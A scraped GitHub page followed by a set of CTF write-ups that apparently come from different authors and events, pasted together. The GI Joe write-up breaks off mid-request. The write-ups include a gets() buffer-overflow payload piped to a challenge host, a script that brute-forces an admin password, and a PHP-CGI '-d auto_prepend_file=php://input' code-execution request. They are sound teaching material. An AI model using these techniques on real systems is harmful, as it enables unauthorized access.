aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div> </div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Write-ups</span></span></span><span>/</span><span><span>HacktivityCon CTF</span></span><span>/</span>Steganography<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Write-ups</span></span></span><span>/</span><span><span>HacktivityCon CTF</span></span><span>/</span>Steganography<span>/</span></div> <div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/csivitu/CTF-Write-ups/tree-commit/875308b9ecab6847c44dbfa3e4ab8d9fccaad50d/HacktivityCon%20CTF/Steganography" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/csivitu/CTF-Write-ups/file-list/master/HacktivityCon%20CTF/Steganography"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Chess Cheater</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Cold War</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Spy vs. Spy</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
# Misdirection Author: [roerohan](https://github.com/roerohan) # Requirements - Python # Source ```Check out the new Flag Finder service! We will find the flag for you! Connect here:http://jh2i.com:50011/``` # Exploitation Here, every other site you visit gives you an additional character of the flag, and redirects you to a new site. ```pythonimport requests host = "http://jh2i.com:50011"default = host + "/site/flag.php" r = requests.get(default, allow_redirects=False) flag = '' while not flag or flag[len(flag)-1] != '}': r = requests.get(host + r.headers["Location"], allow_redirects=False) if (int(r.headers['Content-Length']) > 0): flag += r.text.split('flag is ')[1].strip() print(flag)``` Run this and you get the flag, letter by letter. ```bash$ python script.py ffflflflaflaflagflagflag{flag{flag{hflag{hflag{htflag{htflag{httflag{httflag{httpflag{httpflag{http_flag{http_flag{http_3flag{http_3flag{http_30flag{http_30flag{http_302flag{http_302flag{http_302_flag{http_302_flag{http_302_pflag{http_302_pflag{http_302_poflag{http_302_poflag{http_302_poiflag{http_302_poiflag{http_302_poinflag{http_302_poinflag{http_302_pointflag{http_302_pointflag{http_302_point_flag{http_302_point_flag{http_302_point_yflag{http_302_point_yflag{http_302_point_yoflag{http_302_point_yoflag{http_302_point_youflag{http_302_point_youflag{http_302_point_you_flag{http_302_point_you_flag{http_302_point_you_iflag{http_302_point_you_iflag{http_302_point_you_inflag{http_302_point_you_inflag{http_302_point_you_in_flag{http_302_point_you_in_flag{http_302_point_you_in_tflag{http_302_point_you_in_tflag{http_302_point_you_in_thflag{http_302_point_you_in_thflag{http_302_point_you_in_theflag{http_302_point_you_in_theflag{http_302_point_you_in_the_flag{http_302_point_you_in_the_flag{http_302_point_you_in_the_rflag{http_302_point_you_in_the_rflag{http_302_point_you_in_the_riflag{http_302_point_you_in_the_riflag{http_302_point_you_in_the_rigflag{http_302_point_you_in_the_rigflag{http_302_point_you_in_the_righflag{http_302_point_you_in_the_righflag{http_302_point_you_in_the_rightflag{http_302_point_you_in_the_rightflag{http_302_point_you_in_the_right_flag{http_302_point_you_in_the_right_flag{http_302_point_you_in_the_right_rflag{http_302_point_you_in_the_right_rflag{http_302_point_you_in_the_right_reflag{http_302_point_you_in_the_right_reflag{http_302_point_you_in_the_right_redflag{http_302_point_you_in_the_right_redflag{http_302_point_you_in_the_right_rediflag{http_302_point_you_in_the_right_rediflag{http_302_point_you_in_the_right_redirflag{http_302_point_you_in_the_right_redirflag{http_302_point_you_in_the_right_redireflag{http_302_point_you_in_the_right_redireflag{http_302_point_you_in_the_right_redirecflag{http_302_point_you_in_the_right_redirecflag{http_302_point_you_in_the_right_redirectflag{http_302_point_you_in_the_right_redirectflag{http_302_point_you_in_the_right_redirectiflag{http_302_point_you_in_the_right_redirectiflag{http_302_point_you_in_the_right_redirectioflag{http_302_point_you_in_the_right_redirectioflag{http_302_point_you_in_the_right_redirectionflag{http_302_point_you_in_the_right_redirectionflag{http_302_point_you_in_the_right_redirection}```` The flag is: ```flag{http_302_point_you_in_the_right_redirection}```
# Mobile One Author: [roerohan](https://github.com/roerohan) # Requirements - strings # Source ```The one true mobile app.``` - [mobile_one.apk](./mobile_one.apk) # Exploitation Download the apk. Run strings on it. That's it. ```bash$ strings mobile_one.apk | grep flag##flag{strings_grep_and_more_strings}flag``` The flag is:```flag{strings_grep_and_more_strings}```
# Impartial Author: [roerohan](https://github.com/roerohan) # Requirements - Python # Source ```Check out the terminal-interface for this new company! Can you uncover any secrets? Connect with:nc jh2i.com 50026``` # Exploitation Everytime you ask try to log in as admin, it asks you for 3 letters of the password. ```Impartial Advice and Consulting . . . we will help you put the pieces together! 1. About2. Login3. Register4. Contact?. Exit > 2 Please enter a username to log in. Username: admin For your security, please only enter a partial password.To protect your account from hackers, enter only the charactersat position 13, 32, and 10 (separated by spaces). Password: ``` You can create a map of all characters and the possibilities of the character in that position. Once it is rejected, remove that possibility, and once it's correct, remove all other possibilities. Here's a script: ```pythonfrom pwn import remoteimport reimport string r = remote("jh2i.com", 50026) flag = [''] + list('flag{') + ['?']*50 letters = list(string.ascii_lowercase + '_}1234567890')tries = {i: letters for i in range(1, 51)} # flag = [''] + list('flag{partial?pass?ord?puz?le?pieces????????????????????')# flag{partial_password_puzzle_pieces}for i in range(1, len(flag)): if flag[i] == '?': continue tries[i] = [flag[i]] rec = r.recvuntil(">").decode()print(rec, end=" ") while True: res = b"2" r.sendline(res) print(res) rec = r.recvuntil("Username:").decode() print(rec, end=" ") res = b"admin" r.sendline(res) print(res) rec = r.recvuntil("Password:").decode() print(rec, end=" ") indices = [int(i) for i in re.findall(r'\d+', rec)] res = [] for index in indices: res.append(tries[index][0]) res = ' '.join(res) print(res) r.sendline(res) rec = r.recvuntil('>').decode() print(rec) if '1. Judge' in rec: r.sendline(b'3') print(''.join(flag)) continue x = rec.split('1. About')[0].strip().split('\n') for i in range(len(x)): t = tries[indices[i]] if 'WRONG' in x[i]: tries[indices[i]] = t[1:] else: tries[indices[i]] = [t[0]] flag[indices[i]] = t[0] print(''.join(flag))``` When I ran the script for a while, I got this much of the flag: ```$ python script.py...flag{partial?pass?ord?puz?le?pieces????????????????????``` From here, you can possibly guess the flag. The flag is: ```flag{partial_password_puzzle_pieces}```
### coelacanth\_vault > Why would you waste your time catching more than one coelacanth?> > nc chal.uiuc.tf 2004> > Author: potatoboy69 Having solved this challenge was really significant to me as someone who's never considered mathematics to be a personal strength. I have a massive appreciation for mathematics, yes, but it's not particularly a *passion* of mine as it is a passion for others. Solving this cryptography challenge helped alleviate some of the impostor syndrome I experience as someone who is usually the youngest and least experienced guy in any math class or environment at my university. I've included the challenge's attached source code in case you'd like to attempt it for yourself. You can find it here: [coelacanth\_vault.py](https://irissec.xyz/uploads/2020-07-26/coelacanth_vault.py) (SHA1: 335c2bf1c838f90d07f8de8e61a420ebb51de4a1) A few days after the end of the competition, I emailed my friend Kevin Dao, a mathematics undergraduate at the University of California, San Diego, about this challenge and how I solved it. A (revised) excerpt of my email to him is included below: > A random, relatively large, non-prime number is generated. For example: 24141917630136328546962. This is the secret and the user does not know what this number is. Let's call it s for secret. The point of the challenge is to find out what s is.>> To help find s, the user is given 9 pairs of numbers (r, p), where r is the result of s mod p, and p is a randomly generated 8-bit prime number. For example, these 9 given pairs may be: (122, 233), (144, 241), (9, 199), (10, 137), (21, 223), (84, 163), (182, 239), (89, 179), (68, 227). In other words, s mod 233 = 122, s mod 241 = 144, s mod 199 = 9, ...>> After doing a lot of digging, I found out that the Chinese remainder theorem would help me solve this problem. In the example pairs above, the family of solutions to x ?? 122 (mod 233), x ?? 141 (mod 241), x ?? 9 (mod 199), ... would be expressed by 364288974528818568854 + 540400651263807044957\*n. The number s mentioned earlier is indeed a member of this family of solutions. The challenge gave us 250 tries to get it right, so for this challenge I tested out values of n from 1 to 250 until I eventually got the number right.>> I've attached the challenge if you'd like to give it a try. It's a Python program. The initial question when it asks, "How many coelacanth have you caught?" is just asking you for how many pairs you'd like. I'd recommend 9 as this is the maximum the program allows and if I'm not mistaken, the more pairs we have, the more accurately we can to deduce s. An excerpt of his response is included below: > I'm glad you are asking about the Chinese Remainder Theorem because it is just a special case of a result in Ring Theory. More specifically, it is a special case of a result in Commutative Ring Theory / Commutative Algebra which is precisely the field I am interested in as well (alongside my main interest in Algebraic Geometry). > > Okay, so there are two ways to understand the Chinese Remainder Theorem. The number theoretic case with modular congruences is the number theoretic case which uses Bezout's Theorem. In commutative ring theory, we replace the integers with a more general object called a "commutative ring" which has a lot of the key properties of the integers.> > I wrote up a quick piece of exposition which I've attached in this email. There are also a number of expositions on the topic. I think Rosen's text has a section on the theorem. Keith Conrad's expository paper (attached) is also very good, but a bit heavy on notation. I hope they are helpful. The only issue I have with them is that they focus on the number theoretic aspect (which I do appreciate). The result can be generalized and so my piece of exposition is going to give you a bit of a crash course on basic commutative ring theory. Fascinating! I admit that I was surprised by the depth associated with the Chinese remainder theorem as I thought it was just a clever "math hack" similar to how Japanese multiplication is a clever "math hack." If you'd like to read Dao's exposition or Conrad's paper, you can see them here: [Dao](https://irissec.xyz/uploads/2020-07-26/CRT-KevinDao.pdf), [Conrad](https://irissec.xyz/uploads/2020-07-26/CRT-KeithConrad.pdf). Credits to Kevin Dao, undergraduate at the University of California, San Diego, and Keith Conrad, a professor at the University of Connecticut, respectively. Keep in mind that Kevin wrote this in a single morning after having received my email. Mathematicians amaze me. Feel free to give either or both papers a read. For the purposes of this writeup, I'm going to be giving an ELI5 explanation and massively oversimplifying. The Chinese remainder theorem basically allows us to solve for an unknown number, let's call it x, when given a multiple congruences x ?? a (mod b). In other words, if we don't know what a number is but we know the remainders of that number divided by different primes (well, they really only have to be coprime to each other), then we can mathematically compute the family of solutions that the unknown number is a member of. Let's do an example with a smaller number like x = 26734. Suppose we don't know what this number is, but we know that x mod 13 = 6, x mod 29 = 25, and x mod 7 = 1. This can be rewritten as the system of congruences x ?? 6 (mod 13), x ?? 25 (mod 29), and x ?? 1 (mod 7). We'll start with the congruence with the largest modulus and slowly work to the congruence with the smallest modulus. Starting at x ?? 25 (mod 29), we can rewrite this as x = 29j + 25 where j is an integer. Hopefully this makes sense so far, because if the remainder of x divided by 29 is 25, then it must logically be true that x is a multiple of 29 (hence 29j) plus that remainder 25. Substituting x into the congruence with the next largest modulus, if x = 29j + 25 and x ?? 6 (mod 13), then it must therefore be true that 29j + 25 ?? 6 (mod 13). This can be simplified to j ?? 11 (mod 13), which can be rewritten like we did earlier as j = 13k + 11. We now take j = 13k + 11 and substitute it into x = 29j + 25, so x = 29(13k + 11) + 25, which simplifies to x = 377k + 344. We rinse and repeat once more for the last congruence, x ?? 1 (mod 7). If x = 377k + 344 and x ?? 1 (mod 7), then it must be true that 377k + 344 ?? 1 (mod 7), which can be simplified to k ?? 0 (mod 7), which can be rewritten as k = 7l + 0. We will once again substitute this result into our original equation for x. If x = 377k + 344 and k = 7l, then x = 377(7l) + 344, which can be simplified to x = 2639l + 344. We are now complete and this expression represents the family of solutions to our system of congruences. When we let l be 0, x = 344, and 344 mod 13 = 6, 344 mod 29 = 25, and 344 mod = 1 are all true. Everything checks out! Our desired answer, x = 26734, appears when l = 10. The math once again checks out! I understand that reading math might be a bit difficult, so I went ahead and recorded this video to help you see the Chinese remainder theorem in action: [![YouTube](http://img.youtube.com/vi/lw-oBDiBleI/0.jpg)](https://www.youtube.com/watch?v=lw-oBDiBleI "The Chinese Remainder Theorem") Going back to the challenge now, we simply just apply this same procedure to larger numbers. It's very easy to just use an online calculator like [this one](https://comnuan.com/cmnn02/cmnn0200a/cmnn0200a.php), but I highly recommend anyone reading this to try to understand the math because it truly is very neat! For the record, the flag was `uiuctf{small_oysters_expire_quick}`. This was a very fun challenge and I learned something new!
## Description Travelling through spacetime! ```nc chall.csivit.com 30007``` ## Analysis Decompile with Ghidra. `main()` is very simple: ```cundefined8 main(void){ char local_38 [44]; int local_c; local_c = 0; setbuf(stdout,(char *)0x0); setbuf(stdin,(char *)0x0); setbuf(stderr,(char *)0x0); puts("Welcome to csictf! Where are you headed?"); gets(local_38); puts("Safe Journey!"); if (local_c == -0x35014542) { puts("You\'ve reached your destination, here\'s a flag!"); system("/bin/cat flag.txt"); } return 0;}``` This is almost identical to the previous problem, except `local_c` has to be set to `-0x35014542`, which is the same as `0xcafebabe`. Just print `0xcafebabe` 12 times to fill up `local_38` and overflow into `local_c`. ## Solution ```kali@kali:~$ perl -e 'print "\xBE\xBA\xFE\xCA"x12 . "\n"' | nc chall.csivit.com 30007Welcome to csictf! Where are you headed?Safe Journey!You've reached your destination, here's a flag!csictf{c4n_y0u_re4lly_telep0rt?}```
# Tootsie Pop (H@cktivityCon CTF 2020) (150 pts) ## Challenge description> How many licks does it take to get to the center of a tootsie pop? In this **scripting** challenge, we are provided with the archive file [pop.zip](https://github.com/malikDaCoda/CTFs-writeups/tree/master/scripting/H%40cktivityCon%20CTF%202020-Tootsie%20Pop/pop.zip), which recursively contains archive files of types: zip, gzip, xz and bzip2. ## SolutionThere are numerous ways to solve this challenge, but I found the following solution to be the best :1. extract from current file using `7z` (regardless of its file type)2. make the extracted file (the most recent file) the current one3. delete the other files4. repeat step 1 until there are no more files to extract Here's the script to achieve that :```sh#!/bin/sh # exit on errorset -e # work in this foldermkdir -p extract_dir && cd extract_dir # initial fileFILE="../pop.zip" # 7z can extract zip, gzip, xz, bzip2 and many more# in bourne shell (/bin/sh) redirect stdout and stderr using `>/path/to/file 2>&1`while 7z -y e "$FILE" >/dev/null 2>&1; do echo "[*] Current file: $FILE ($(wc -c <$FILE) bytes)" # set the filenames of the current folder as positional arguments (sorted by the time of change) set $(ls -t --time=ctime) # first arg is the most recent created file (the one that has just been extracted) FILE="$1" # delete the rest of the files shift && [ "$@" ] && rm "$@"done echo "No more files to decompress !"# print the flagcat *``` After running the script, we read the **flag** :```flag{the_answer_is_1548_licks}```
# Incredibly_Covert_Malware_Procedures This challenge was a nice one, we were given a pcap file(incident.pcap) with the following description and we are asked to find the flag. ![DESC](https://i.ibb.co/YZctsPL/icmp0.png) The pcap had some dns packet and alot of icmp ones, with this remark and from the title of the challenge we can guess that the challenge is about sending files using icmp protocol wich is one of the techniques malwares use to exfiltrate data since alot of firewalls permit ICMP traffic. To find the exfiltrated data, we need to apply some filters to only leave us with icmp request packets. After that we exported the file(exported.pcap). ![filters](https://i.ibb.co/LPBPFWg/icmp-wireshark.png) After investigating the packets for some time we noticed that the file had a PNG signature. So now, we just need to figure out the offset of data we are interested in, wich can be noticed by checking the ICMP data.I used tshark and python for this:```sh$ tshark -r incident.pcap -T fields -e data > data.txt``` ```pythonwith open('data.txt') as d: for _ in d: print (_[16:48])```And with this output, we can get ou image using xxd:```shcat final_data.txt | xxd -r -p > icmp_flag.png```![flag](https://i.ibb.co/Fmpx4zZ/icmp-flag.png)
## GI Joe write up There is a /cgi-bin/ and the apache and php is old so I decide to look for vulnsI ran nikto and it shows is vulnerable to /?-s this shows the source code of index.phpIn the source code we can read that the flag is at /flag.txtSearching for the vulnerablility I found this post https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/php-cgi-exploitation-by-example/ In the post they explain how to leverage the -d to execute php code with a post request: ```POST /?-dallow_url_include%3d1+-dauto_prepend_file%3dphp://input HTTP/1.1Host: jh2i.com:50008Content-Type: application/x-www-form-urlencodedContent-Length: 66
# DockEsc Author: [roerohan](https://github.com/roerohan) and [thebongy](https://github.com/thebongy) # Requirements - Docker # Source ```Hey, check it out: i've just shoulder-surfed CyBRICS organizers and got the command they run to deploy new service on every connection! Looks like they are planning to give you the flag if you Escape the Docker! Alas, my camera broke the JPEG at the very sweet spot. I wonder if we can somehow get that --detach-keys value ssh [email protected]Password: B9Go9eGS``` # Exploitation When you connect to the server using `ssh`, you land in a docker container executing `sleep infinity`. The image provided in the challenge shows a part of the `--detach-keys` which is `ctrl-p,p,i,c,t,u`. Now when you start typing something on the container, you notice that it doesnt show anything on your terminal if you keep writing the correct thing. As soon as it's incorrect, it displays it. So, our plan was to try all combinations using a script, but we figured we could try manually for a bit, and we got lucky and got third blood `:)`. When you type `ctrl-ppictureisworthathousandwords`, it escapes the container and you get the flag. The flag is: ```cybrics{y0u_h4V3_k1LL3D_the_INFINITY}```
